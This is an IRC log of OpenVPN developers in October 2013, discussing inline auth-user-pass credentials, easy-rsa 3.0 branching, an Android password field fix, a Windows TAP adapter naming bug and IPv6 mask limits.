<@cron2_> waldner: what is the benefit of having inline support when you can have it on the "auth-user-pass [up]" line? 01:45 <@cron2_> there's a clear drawback (code and documentation complexity), so this needs to be outweighed by the benefits 01:45 <@cron2_> + printf("---------- init_query_passwords\n"); 01:45 <@cron2_> ... and testing output needs to go before posting :) 03:00 < waldner> cron2_: sure 03:00 < waldner> 1) I don't want to have an extra file only to do that 03:01 < waldner> 2) I want to be able to specify username only (currently [up] expects user and pass) 03:02 < waldner> on testing: I've been using it for two weeks without issues 03:03 < waldner> and I've tested many combinations of options (some of which I found to be invalid or broken) 03:04 < waldner> some of those have been disallowed either because they're broken or because they make no sense 03:04 < waldner> eg --auth-user-pass from file or inlined + --auth-nocache, or --auth-user-pass from file or inlined + --static-challenge 03:04 < waldner> (they were broke already, before my patch) 03:07 < waldner> --auth-user-pass from file or inlined + dynamic CR was and will continue to be broken, because it cannot be detected statically, and when at run time we see that we're getting a dynamic CR it's too late (we could issue a warning though) 03:09 < waldner> in any case, existing configs will continue to work as before (except where one of the now-disallowed combinations is detected, but those were already broken anyway) 03:10 < waldner> oh, that line, I'll remove it 03:29 <@cron2_> waldner: seems I misunderstood - I thought you could do "auth-user-pass username password" right in the config 03:29 * cron2_ would find that much more intuitive than inline, tbh... 03:30 <@cron2_> (but it would be incompatible with the interpretation of "this is a filename") 03:30 < waldner> cron2_: we discussed that, and concluded that inline was cleaner 03:31 <@cron2_> that's what you get for going on vacation :) 03:31 < waldner> though undoubtedly mor complicated to implement 03:31 < waldner> but again, I'm open to suggestions 03:32 < waldner> doing "auth-user-pass username" would be ambiguous as it could either mean the user inlines only the username, or "username" is a file 03:32 < waldner> so we could do "auth-user-name user foo [pass bar]" and chech whether more than one argument is present etc 03:33 <@cron2_> yeah, that was the conclusion I arrived at now, not exactly intuitive either 03:34 < waldner> ((re)sent cleaned patch) 03:34 <@cron2_> breaking the config and calling the one thing "auth-credential-file foobar" and the other one "auth-user-name user [pass]" would be much cleaner, code-wise, but users most certainly won't like that 03:35 < waldner> we *also* discussed that, and concluded that we didn't want to add yet another directive 03:35 < waldner> (of which there are enough already) 03:36 <@cron2_> understandably :) 03:37 < waldner> the multiple-words auth-user-pass wouldn't be too bad (also validation and sanity check would be easier), but then we need to carry around a variable number (1 or 2) of strings 03:37 < waldner> so we could introduce a ad-hoc structure...but then again not sure that would be nice 03:39 < waldner> (auth-user-pass user xxxx [pass zzzz], p[1] MUST be "user", p[3] if present MUST be "pass", otherwise error out) 03:39 < waldner> some other directives are already overloaded like that 03:40 <@cron2_> nah, that's "just too many words on that line" for people to understand 03:41 < waldner> yes, that too 03:51 < waldner> also existing inlined data is always used "as is", even if it's multiple lines, because it's usually pkcs11 data, keys, certs etc. 03:52 < waldner> however in this case we need to actually parse it and separate its parts, so the code is a bit ugly 10:22 -!- raidz_away is now known as raidz 16:23 <@ecrist> ping pekster 16:23 <@pekster> pong 16:23 <@ecrist> where does easy-rsa 3.0 stand? is it still beta? 16:25 <@pekster> Mostly, yea. Real life caught up with some goofy travel needs, but I'm making some tweaks to improve some of the outstanding issues and making it more flexible; I'm happy to maybe push a 1.0 release-candidate though since the interface and file layout won't be changing 16:25 <@pekster> Due to cross-platform issues with smartcarts, I'm visioning making that an external (and optionally bundled on *nix platforms where opensc is usable) since it's obviously not going to work on win32 16:26 <@ecrist> are you still living off all that drug money, or have you had to move on to gambiling winnings? 16:26 <@ecrist> :P 16:26 <@pekster> heh, with some of my recent clients (or, rather their lesser employees) it's always a gamble ;) 16:26 <@ecrist> lol 16:28 <@ecrist> would you please get the 3.0 code up on github? we can create a new directory for it 16:28 <@pekster> Already is 16:28 <@pekster> !easyrsa3 16:28 <@pekster> Oh, use the github links though ( the release binary downloadables on that page are old) 16:28 <@ecrist> maybe on the actualy easy-rsa github? 16:29 <@pekster> Oh, sure. Not sure how access & stuff works, but it can be "forked" (or w/e github calls a clone) anytime; if that's where we want main dev to occur that's fine, but the Makefile's gunna need some tweaking by an autoconf guy if that's supposed to work 16:30 <@ecrist> the easy-rsa stuff is separate from openvpn 16:30 <@ecrist> I have write access there 16:30 <@pekster> Yes, yes, but the makefile is closely integrated with easy-rsa, and I'd imagine distros are using it 16:30 <@pekster> easy-rsa's makefile, not openvpn's (for clarification) 16:31 <@ecrist> a makefile has little to do with autoconf 16:31 <@pekster> No clue why we're shipping a "buildfile" for a collection of scripts :P 16:31 <@ecrist> I do the same thing in ssl-admin 16:31 <@ecrist> we even have a configure script 16:31 <@ecrist> (does some OS-specific stuff, but isn't generated and doesn't involve auto*) 16:32 <@pekster> Yea. I thought briefly about methods to unify the codebase with either perl/python or such, but that got really messy when dealing with win32 in particular. If easy-rsa v2 showed us anything, it's that trying to dual-maintain sh+batch frontends doesn't really work unless someone wants to maintain them in tandem :P 16:32 <@ecrist> my suggestion, base your tree off what's in github now, and do a pull request 16:32 <@ecrist> then I can merge that with what's there. that way, you're sure to get credit for all your work. 16:33 <@ecrist> does easy-rsa ship a windows sh exec or something, then? 16:34 <@pekster> Yea, exactly. The github project for win32 just has the docs and "we use shell binaries from project X with these required exe's dll's" and the binary release bundles them for downloadables; the bash interperter I'm using is GPLv2, making liccensing easy 16:34 <@pekster> I did end up needing to add in sed, but I avoided the need for cat ;) 16:34 <@pekster> (stupid openssl handling of PKCS#7 verses it's completely-different-extension handling for X509. Go openssl, heh 16:36 <@pekster> You envioniong a new subdir for 3.0? It'll just be a bunch of `git add`s since the new codebase uses basically nothing of the v2 beyond goals and shell it runs on 16:37 <@pekster> A couple months back I posted links to the github codebase, but no replies. Either there's no interest, or people don't really care until it's shipped and _then_ we'll get complaints :P 16:38 <@pekster> Here's basically all the 'windows' side needs in addition to the actual easy-rsa code/files: https://github.com/QueuingKoala/easy-rsa-win 16:38 <@vpnHelper> Title: QueuingKoala/easy-rsa-win · GitHub (at github.com) 16:38 <@pekster> The bin/ subdir holds the binaries, but those come from the win-bash project (so no need for source in the easy-rsa tree, just the req'd bins in the download) 16:47 <@ecrist> sorry, was afk a minute helping the boy with his homework. 16:49 <@pekster> Well, I've got a few usablility commits that I need to push to my codebase, but I can just have a pull request into the current openvpn stuff under a 3.0 dir (and maybe a 3.0-win or something for Windows?) 16:49 <@pekster> All of the remaining stuff is either quite minor, or deals with advanced usecases not openvpn specific (like making changing extension formats or adding a CDP to all issued certs) 16:51 -!- raidz is now known as raidz_away 16:53 <@pekster> Integration into openvpn on windows is going to need a bit of massaging by either adding a check to the relative openssl.exe installed path, or declare that we won't ship it and direct the user there (see my easy-rsa-win project openssl-win32.txt for the long description.) That might be worth a meeting discussion becuase we'd really have to bump openvpn windows releases for OpenSSL bugs :\ 16:53 <@pekster> Ideally that's avoidable, but maybe we figure they have to upgrade anyway due to libseay linking? I dunno 16:56 <@ecrist> not sure 16:56 <@ecrist> I would like to put 3.0 in a subdir for now, so people can "play" with it 16:56 <@ecrist> one or two requests thus far on github at my mention of it 16:57 <@pekster> Sure, feedback (especially for more varied Windows since "works for me on my 3 test boxes" isn't really a good distribution ;) 16:57 <@pekster> .. feedback would be helpful 16:58 <@pekster> I'll wrap up my latest code changes and get a 3.0 and 3.0-win dir for you, if that sounds like a logical layout. The windows stuff is really just the "extra" bits since the rest of the code is identical and "builds" lump them together with the binaries from win-bash 16:58 <@pekster> Sound logical enough to separate it from the current 2.0 and 'Windows' dirs? 16:59 <@ecrist> can we keep it all in a 3.0 for now? 16:59 <@ecrist> 3.0 with a win-lib subdir or something? 17:00 <@ecrist> and, in reality, I've no problem giving you access to the project 17:00 <@ecrist> what's your github username? 17:00 <@pekster> That works too, sure; the only reason I kept them separate projects was so people didn't need to download "batch scripts" for *nix ;) 17:00 <@pekster> QueuingKoala 17:00 <@ecrist> we should abide by the openvpn ack'd by stuff 17:01 <@pekster> Yea, that's logical, especially given how messy openssl is in practice 17:01 <@ecrist> we'll handle the what gets downloaded part with a package build process later 17:02 <@ecrist> for now, if you download source from git, you get it all. :) 17:02 <@pekster> Yup, that's fine; really using it from a 3.0 dir is as simple as a `git clone ..` (or download the .tar.gz) and move into the 3.0 dir and run it 17:02 <@pekster> Now with no messing with vars ;) 17:03 <@ecrist> you should have commit access now 17:03 <@pekster> Just so we can 'start it off right' with a signed-off & ack'd line, would you rather have a pull request for the review? I could send a "patch" to the ML or link you to one too, but it'll be a patch that 'adds everything' up to that point in time from my project: whatever's easier for you reall 17:04 <@ecrist> not worried about the ML at this point 17:04 <@ecrist> we can do the pull request if that makes you comfortable 17:05 <@ecrist> this project is more relaxed, there's not a lot, really, from a security perspective we need to worry about, unlike openvpn 17:05 <@pekster> I don't really care, just wanted to give you the chance to "review the new bits" before they go in (if we felt that was needed) 17:05 <@pekster> Right 17:05 <@ecrist> our scripts aren't likely to compromise someone's CA 17:05 <@pekster> KEY_SIZE=112 ;) 17:05 <@ecrist> key=<static_pwned> 17:05 <@pekster> (actually, that doesn't work with sha256 hashing anyway) 17:06 <@ecrist> I don't think my review is needed. Let's just be "vocal" about commits going forward. 17:06 <@pekster> Yea, I'm very verbose with both comments & commit messages ;) 17:06 <@ecrist> you can put me on the ACK'd for your first commit, though. 17:07 <@pekster> usually becuase I'm the poor SOB that needss to come back and fix stuff later. I really hate the "what monkey wrote this code" only to realize I am that monkey after a few minutes 17:07 <@ecrist> hehe 17:07 <@ecrist> that happens to me at least weekly 17:07 <@ecrist> wtf wrote this drivel? oh... 17:08 <@pekster> Yea, my favourite was resuming a client-side script to fix Windows networking stupidity that "just worked" for nearly 2 years then I needed to add some features. Perspective does interesting things sometimes 17:09 <@ecrist> I look at code I wrote 6 years ago and it makes me feel righteous in comparison. Then it dawns on me that, in another 6 years, what I'm writing now will seem just as lame and short-sighted 17:11 <@ecrist> ping mattock 17:11 -!- Irssi: #openvpn-devel: Total of 21 nicks [10 ops, 0 halfops, 2 voices, 9 normal] 17:12 <@ecrist> we should talk about community boxes and such when you have time 17:12 <@pekster> We moving away from joomla for the community landing? That would make me smile a bit 17:13 <@ecrist> no 17:14 <@ecrist> they're moving all the servers to AWS 17:14 <@ecrist> the forum box is the last holdout 17:15 <@pekster> Hm, k. After I'm done mucking with cleanup & import of the easyrsa 3 stuff, I should see what all needs to be done so the "open-source" clikable doesn't try to give you "Access Server Downloads" as the first download link. Users are endlessly confused by that, and apparently it "can't be changed due to the CMS" 17:16 <@pekster> ("A" comes before "C" in Community Downloads :( 17:16 <@ecrist> that's a trivial sort to work around 17:18 <@pekster> Problem is people on the 'VPN Solution' side probably want that; it's the "universal, non-page-specific' toolbar hover menus that most people use who end up with AS when they wanted GPL stuff. Comes up maybe once/wk in #openvpn 17:20 <@pekster> http://openvpn.net/index.php/open-source/overview.html <-- 'Downloads' hover-menu != 'Downloads' left-hand link target, and there's no real description of what 'Access Server' is, or that you probably don't want it if you're coming from the 'Community' clickable fromo the openvpn.net page 17:20 <@vpnHelper> Title: OpenVPN Community Software (at openvpn.net) 17:21 <@pekster> Issue to look at later though 17:22 <@ecrist> lol 17:22 <@ecrist> welcome to the fold, pekster 17:30 <@pekster> Well, 'back to the fold' is a bit more accurate; I was pretty active until a year or so before all this corporate stuff came into play, though a bit less from a C-code perspective then 17:32 * pekster remembers fixing Windows bugs back in 2.1 (I think it was post-2.0.9, but that was a while ago..) 22:30 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn-devel --- Day changed Fri Oct 04 2013 03:51 <@cron2_> oh, wow, what happened in here *rub eyes* you have been quite busy! 04:23 -!- mattock is now known as mattock_afk 08:21 -!- mattock_afk is now known as mattock 09:00 -!- mattock is now known as mattock_afk 09:23 -!- mattock_afk is now known as mattock 10:32 -!- raidz_away is now known as raidz 12:33 <@mattock> has somebody responded to the Fred guy who sent email to security list claiming installing openvpn caused his server to jeopardized? 12:34 <@mattock> or should we just ignore him? 12:43 -!- mattock is now known as mattock_afk 14:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 14:33 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:33 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:41 -!- mattock_afk is now known as mattock 14:59 -!- mattock is now known as mattock_afk 16:58 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 17:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 17:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 17:38 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Sat Oct 05 2013 05:44 -!- mattock_afk is now known as mattock 07:40 -!- mattock is now known as mattock_afk 08:13 -!- mattock_afk is now known as mattock 09:17 -!- mattock is now known as mattock_afk 15:33 -!- mattock_afk is now known as mattock 15:39 -!- mattock is now known as mattock_afk --- Day changed Mon Oct 07 2013 02:41 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has joined #openvpn-devel 02:44 < e-ndy> plaisthos, ping hi, a lot of password asking apps on android have 'show password' checkbox, but not openvpn for android 02:48 < e-ndy> plaisthos, i'm suspicious of some copy'n'paste wrong behavior in 'openvpn for android', because when i type generated otp to password, i'll connect but when i use feature of otp generator to copy key and paste it to openvpn for android - it fail, but i can't say what exactly it does or not, because i have no option to show password 07:44 <@ecrist> if any of you git-gurus can help this guy rebase his pull request, I'd appreciate it: https://github.com/OpenVPN/easy-rsa/pull/4 07:44 <@vpnHelper> Title: Fix -n "User PIN:" mis-print and Token/SmartCard keysize adjust in vars by Wesseldr · Pull Request #4 · OpenVPN/easy-rsa · GitHub (at github.com) 07:55 -!- mattock_afk is now known as mattock 07:59 <@plaisthos> e-ndy: I am using a standard android textfield box 07:59 <@plaisthos> e-ndy: I am not if a "show password" box is a good idea 08:00 <@plaisthos> I can give as quick hack a version without "password" flag for the password dialog so it shows the password in plain text 08:32 < e-ndy> plaisthos, it would be great 08:34 <@plaisthos> e-ndy: which password dialog do you need in clear text? 08:34 <@plaisthos> the popup dialog or the field under basic settings or both? 08:35 < e-ndy> popup dialog 08:38 <@plaisthos> e-ndy: http://plai.de/.tmp/ics-openvpn-0.5.47-endy.apk 08:49 < e-ndy> plaisthos, thanks, i got it, copying place space between just entered pin and generated code 08:51 < e-ndy> plaisthos, or maybe some nonprintable sign is converted to space 09:04 < e-ndy> plaisthos, just tried another thing - in editor i entered '123456' and copied it to clipboard, to popup dialog entered 'xxxxxx' and copied content for clipboard - it results to 'xxxxxx 123456' 09:05 <@plaisthos> that is strange 09:05 <@plaisthos> I have no idea why 09:06 <@plaisthos> that is just a standard editext 09:07 <@plaisthos> is the space there before you entered something perhaps? 09:10 <@plaisthos> the space in the second example could also be your keyboard trying to be smart inserting a space between words 09:10 <@plaisthos> since it is now not a password field anymore 09:12 < e-ndy> i have disabled all 'smart' functions as it is annoying all the time correct those 'smart craps' :) 09:13 < e-ndy> i'm going to reinstall app and i'll count dots in password field 09:14 <@plaisthos> e-ndy: wait a sec 09:15 <@plaisthos> e-ndy: I dediced to put a show password check in there 09:19 < e-ndy> just did it - i entered xxxx (4 chars), and pasted 6char code and i had to 11 times press 'backspace' on keyboard 09:22 <@plaisthos> e-ndy: try another keyboard perhaps? 09:22 <@plaisthos> stock vs non stock keyboard? 09:22 <@plaisthos> what device are you using? 09:23 <@plaisthos> I updated the -endy version with a "show password" feature 09:24 < e-ndy> plaisthos, Vodafone 975N (android 4.1.1), android stock keyboard 09:24 <@plaisthos> hm strange 09:25 <@plaisthos> my nexus 7 (4.3) and sony acro s (4.1) don't show that behaviour at all 09:26 < e-ndy> plaisthos, with enabled english and czech kbd 09:26 < e-ndy> plaisthos, and english as default 09:27 < e-ndy> plaisthos, i'll try another app with password widget 09:27 <@plaisthos> e-ndy: yeah. I am just guessing here what happens on your side since I did nothing special 09:27 <@plaisthos> e-ndy: the version under http://plai.de/.tmp/ics-openvpn-0.5.47-endy.apk now allows you to switch between cleartext and stars 09:31 < e-ndy> plaisthos, hmmm seems it is problem of this version of android, i just created new note in notepad and entered 'xxxx' and when pasted content of clipboard it showed same result 'xxxx 123456' 09:35 < e-ndy> plaisthos, thanks, as workaround is this great :) 09:40 <@plaisthos> e-ndy: no problem, I think I will keep that feature. It will be in the next official version as well 09:44 < e-ndy> plaisthos, thanks 10:18 < e-ndy> hmmm, seems it is present also on 4.2.2 (cm10) on LG P500 10:19 < e-ndy> i must check other android devices for this 14:29 -!- mattock is now known as mattock_afk 16:22 -!- jamxNL [~jamx@62.45.194.86] has quit [Ping timeout: 260 seconds] 16:24 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 16:34 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 16:34 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] 16:34 -!- Hes [NaBB24W@tunkki.fi] has quit [Ping timeout: 245 seconds] 16:35 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 16:35 -!- mode/#openvpn-devel [+o andj__] by ChanServ 16:35 -!- andj__ is now known as andj 20:19 -!- raidz is now known as raidz_away 22:51 -!- Hes [bXrC@tunkki.fi] has joined #openvpn-devel 23:44 -!- adarq [~x@c-98-242-213-135.hsd1.fl.comcast.net] has joined #openvpn-devel 23:45 < adarq> hi --- Day changed Tue Oct 08 2013 01:34 -!- mattock_afk is now known as mattock 04:21 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 246 seconds] 04:31 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 10:20 -!- raidz_away is now known as raidz 14:16 -!- mattock is now known as mattock_afk 17:19 -!- raidz is now known as raidz_away 17:29 -!- raidz_away is now known as raidz 18:10 -!- raidz is now known as raidz_away 18:19 -!- raidz_away is now known as raidz 18:26 -!- raidz is now known as raidz_away 18:33 -!- raidz_away is now known as raidz 18:54 <@pekster> ecrist: ping. Just fixing some Windows woes (testing box decided to hara-kiri) but I'm not so sure the 3.0 stuff belongs under master at all, looking at the project. The autoconf stuff Alan B did certainly isn't designed to support a graceful rollover (2.0 junk is hardcoded there) and the release tagging gets goofy too since git tags commits, not objects in them 18:54 <@pekster> I'd hate to see something like a "v2.2.1" release that contains 3.0 stuff and a configure.ac/Makefile.am that are 3.0-centric then watch it not work. Even the 1.0/2.0 split should really have been done as branches, but that's all old-history now 18:56 <@pekster> What we "should" do moving forward is treat it like a proper branch and have the SCM project reflect that. Probably a "v3.x" branch and then tag "v3.x.y" releases off of it as needed. I'm content to keep development there (github can even make that the default branch for the project when it's time to make it official in upstream releases) 19:32 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 248 seconds] 19:32 -!- raidz is now known as raidz_away 19:39 -!- raidz_away is now known as raidz 21:18 -!- raidz is now known as raidz_away 22:22 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:22 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:22 -!- Netsplit *.net <-> *.split quits: @raidz_away 23:47 -!- mattock_afk is now known as mattock --- Day changed Wed Oct 09 2013 01:17 -!- adarq [~x@c-98-242-213-135.hsd1.fl.comcast.net] has quit [Ping timeout: 240 seconds] 01:24 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o andj__] by ChanServ 01:26 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 01:26 -!- andj__ is now known as andj 01:56 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 01:56 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 05:44 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:44 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 05:44 -!- mattock_afk is now known as mattock 08:24 <@ecrist> pekster: shouldn't we create a 2.x branch, and put the 3.0 stuff in master? 08:24 <@ecrist> that's how we do openvpn 09:57 <@pekster> All depends on what the planned development progression is 09:58 <@pekster> Some projects keep <release>.x branches for backporting and master is always "newer than that." But sure, that could be the case too, if it's easier 10:00 <@pekster> easy-rsa is tiny enough that we won't need things like topic or integration/backport branches, so if we'd like to branch the current master stuff into a 2.x branch so it can be maintained (and f.ex a 2.2.1 tag would come from there) I'm fine with that too 10:02 <@ecrist> I think that makes the most sense 10:02 <@pekster> openvpn actually does the "mainline" development on master with separate release branches that get the git-master commits 10:03 <@pekster> Yea. It'll be a little shuffling around, but the links from the bot here (and maybe the wiki) should be most of the end-user stuff; I get the feeling distros stick with the tagged releases 10:05 <@pekster> The end result being that there'd be a release/1.x, release/2.x, the master ("current" development, whatever the contributors decide that is) and maybe a release/3.x if we want the ability to pick & choose what goes in. It's probably clearner to use it (merging isn't hard ;) 10:05 <@pekster> What we get for all the mixing up or stuff is that distros/users/whoever can still download/build the 2.x stuff fine even if autoconf et al gets updated to handle 3.x 10:06 <@pekster> s/of/of/ 10:06 <@ecrist> that's the idea! 12:36 -!- raidz is now known as raidz_away 12:59 -!- raidz_away is now known as raidz 13:58 -!- raidz is now known as raidz_away 14:12 -!- raidz_away is now known as raidz 14:37 -!- raidz is now known as raidz_away 14:45 -!- raidz_away is now known as raidz 15:32 -!- mattock is now known as mattock_afk 17:59 -!- raidz is now known as raidz_away 18:01 -!- raidz_away is now known as raidz 18:28 -!- raidz is now known as raidz_away 20:53 <@vpnHelper> RSS Update - tickets: #337: --sock-proxy documentation should mention authfile argument <https://community.openvpn.net/openvpn/ticket/337> --- Day changed Thu Oct 10 2013 02:33 -!- mattock_afk is now known as mattock 04:45 <@d12fk> http://googleonlinesecurity.blogspot.com.au/2013/10/going-beyond-vulnerability-rewards.html 04:45 <@vpnHelper> Title: Google Online Security Blog: Going beyond vulnerability rewards (at googleonlinesecurity.blogspot.com.au) 04:46 <@d12fk> openvpn is mentioned to be soon in the program as well 04:46 <@d12fk> so, hold back you patches and milk the data-kraken =) 04:59 * cron2_ goes and commits a few subtle security issues first, so I can then patch 'em 05:01 <@cron2_> d12fk: I think the patch about the TAP interface naming might qualify :-) 05:01 <@d12fk> nice baitin' ther cron2_ 05:01 <@cron2_> d12fk: always at your service :-) 05:02 <@d12fk> is pekster around in here tomorrow? 05:57 -!- mattock is now known as mattock_afk 07:38 <@ecrist> usually 08:10 -!- mattock_afk is now known as mattock 09:38 <@pekster> d12fk: What do you need? 09:41 <@pekster> or maybe tomorrow meant Friday? The planet being round just makes it so complicated. I liked it better when it was flat ;) 09:54 <@cron2_> mmmh, indeed it's friday already, somewhere 10:29 -!- raidz_away is now known as raidz 10:40 <@d12fk> pekster: what timezone are you in 10:47 <@pekster> d12fk: UTC+5 (soon to be +6) 10:47 <@d12fk> southern hemisphere i suppose 10:48 <@pekster> Nope, north of the equator ;) 10:48 <@d12fk> ah so your moving not the dst settings 10:48 <@pekster> nah, US does DST shift 10:48 <@pekster> (_most_ of the US..) 10:48 <@d12fk> ah so you're -5 10:49 * pekster was thinking in terms of the TZ env-var, but sure 10:50 <@d12fk> was thinking about working on the adapter name issue and will probably need assistance 10:51 <@pekster> My Windows-fu is a bit limited (from an API standpoint anyway) but let me know what you need 10:52 <@d12fk> just a way to reproduce the issue really 10:54 <@pekster> Oh, that one should be easy enough since any international character on the tap device did it for me 10:55 <@d12fk> but how did you get that char in there? 10:55 <@pekster> Just copy/pated it from the character map 10:55 <@d12fk> ... and entered it where? 10:55 <@pekster> Oh, go to the network connection panel and right-click "Rename" the adapter and enter it there 10:56 <@d12fk> ah ok, i did it via registry when i tried, so maybe too complicated thinking 10:56 * pekster is betting when you do that it changes all sorts of things in the registry :\ 10:56 <@d12fk> and does it break ipv4 or just ipv6 10:57 <@pekster> Both; the netsh calls fail completely 10:58 <@d12fk> ok, i think that's enough info. if i still can't get it to break i'll complain here =) 10:59 <@pekster> Sounds good. The only thing I could think of if that doesn't break it is that it's locale-specific, but I doubt that because several reporting people have lanauges that have accented chars for "Local Area Network Connection" 11:00 <@d12fk> i suppose it's because the registry delivers UCS-2 and the shell is UTF-8, so we need to convert the ITF name first 11:02 <@pekster> d12fk: Ah, note that you probably need `--ip-win32 netsh` in your config as the 'dynamic' method won't use netsh at all 11:03 <@d12fk> yeah thought about that, but thanks anyway 12:01 <@cron2_> or just use IPv6 as that will always use netsh, as you're reminding me :-) 12:04 <@pekster> Right. That forced me to explicitly name devices with --dev-node since I run >1 TAP as I need to connect to multiple VPNs more often that I'd like. Maybe there's a clever way to scan the adapter list and see if they're in use, but that's "more windows code" :x 13:31 <@ecrist> any of you know why we require a max /124 for IP6 mask? 13:39 <@ecrist> nm 13:55 -!- mattock is now known as mattock_afk 15:12 <@cron2_> ecrist: well, because anything longer does not make much sense - in a /124, you already have only 14 usable IPv6 addresses... 15:16 <@ecrist> but for point to point links, /126 is common 15:16 <@ecrist> which is our use case 15:17 <@cron2_> IETF says you should use /64 for everything 15:18 <@ecrist> that's not how it's done in the real world, though 15:18 <@cron2_> I use /64 for everything, because it saves big time on argueing what size to use this week 15:18 <@ecrist> limiting to /124 seems arbitrary 15:18 <@cron2_> and I operate an ISP backbone, so that's good enough as far as "real world" is concerned 15:19 <@cron2_> it *is* arbitrary. The code that is concerned makes assumptions about "there is space for more than one client in the pool" and stuff, which are not warranted with a /126 - unless all those assumptions are verified and - if needed - fixed, it's not save to remove that limit 15:19 <@cron2_> it's a compromise anyway, the initial implementation permitted /64 and nothing else, period 15:20 <@cron2_> I can see that one might want to use /126 for --ifconfig-ipv6, but that's a corner case (you can always setup *that* using --up scripts). I was mostly interested in --server-ipv6 and --ifconfig-ipv6-pool functionality, and you need "more than one" address for that 15:21 <@cron2_> so a patch that removes the limitation for --ifconfig-ipv6 (tested on all plattforms) should be ok 15:30 <@pekster> Right, and those already need a /112. This said, PtP still works fine over IPv6 too (although one could make a valid argument that Windows (still!) won't do that 17:42 <@pekster> Interesting, I just switched A/V on my new XP dev VM, and apparently Avast lists OpenVPN in the credits 20:22 -!- raidz is now known as raidz_away 21:44 -!- Netsplit *.net <-> *.split quits: Hes 22:34 -!- Netsplit *.net <-> *.split quits: @raidz_away 22:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:36 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:38 -!- Hes [bmg5Tt@tunkki.fi] has joined #openvpn-devel --- Day changed Fri Oct 11 2013 00:34 -!- mattock_afk is now known as mattock 01:01 -!- novaflash is now known as novaflash_away 01:03 -!- novaflash_away is now known as novaflash 03:21 -!- mattock is now known as mattock_afk 03:48 <@cron2_> pekster: what is this with "windows won't do that"? 05:59 -!- mattock_afk is now known as mattock 07:03 <@plaisthos> cron2_: at an ISP you don't have to deal with stupid address delegation like an stupid ISP givin you a /80, a single 64, or something fucked like that 11:28 <@cron2_> plaisthos: no, but if I as a customer have to deal with such a stupid ISP, I (threaten to) change ISP... 11:29 <@cron2_> but anyway, because I let people convince me of the stupidity of ISPs, this is why OpenVPN accepts "longer than a /64" these days :-) 12:48 <@pekster> cron2_: Windows can't do proper PtP addressing (never has) 12:48 <@cron2_> pekster: well, that is true, but then, a /126 is not truly p2p either - it's the equivalent to an IPv4 .252, which is a proper subnet with, well, two hosts in it 12:49 <@pekster> Right, which was my prior point 12:49 <@cron2_> openvpn's ipv6 does not support true p2p addressing on the tuns either 12:52 <@pekster> Ah, right you are; I just assumed the same provisions for --mode p2p was the same, but apparently not 12:53 * cron2_ is far too lazy to figure out how to set true independent endpoint addresses on tun interfaces across our range of supported platforms... 14:33 <@ecrist> mattock: making progress on the forums box. it's really really slow, though 14:35 * ecrist poofs for the weekend 17:00 -!- mattock is now known as mattock_afk 19:12 -!- raidz is now known as raidz_away --- Day changed Sat Oct 12 2013 04:05 -!- mattock_afk is now known as mattock 04:06 <@mattock> ecrist: take your time 04:06 <@mattock> if you mean the forums box is slow, that can be fixed 04:06 <@mattock> it's just a small instance on ec2 04:07 <@mattock> we can upgrade it 05:40 -!- mattock is now known as mattock_afk 07:54 -!- mattock_afk is now known as mattock 08:06 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 08:55 -!- mattock is now known as mattock_afk 13:58 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 14:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:00 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:01 -!- dazo_afk is now known as dazo --- Day changed Sun Oct 13 2013 09:10 -!- mattock_afk is now known as mattock 16:01 -!- mattock is now known as mattock_afk --- Day changed Mon Oct 14 2013 01:49 -!- mattock_afk is now known as mattock 04:17 -!- mattock is now known as mattock_afk 06:00 -!- mattock_afk is now known as mattock 09:39 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 09:42 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:42 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:15 <@d12fk> pekster, cron2_: TAP-WIN32 device [Löcal Area Connection 3] opened: \\.\Global\{D3839AF9-A2FD-4E9B-9619-29A24D03DC94}.tap 10:16 -!- raidz_away is now known as raidz 10:16 <@d12fk> somehow it works for me... 10:17 <@d12fk> maybe need to try something not so iso-latin-1 10:19 <@d12fk> ah forgot netsh 10:19 <@d12fk> <- stupid 10:22 <@d12fk> broke it successfully 11:02 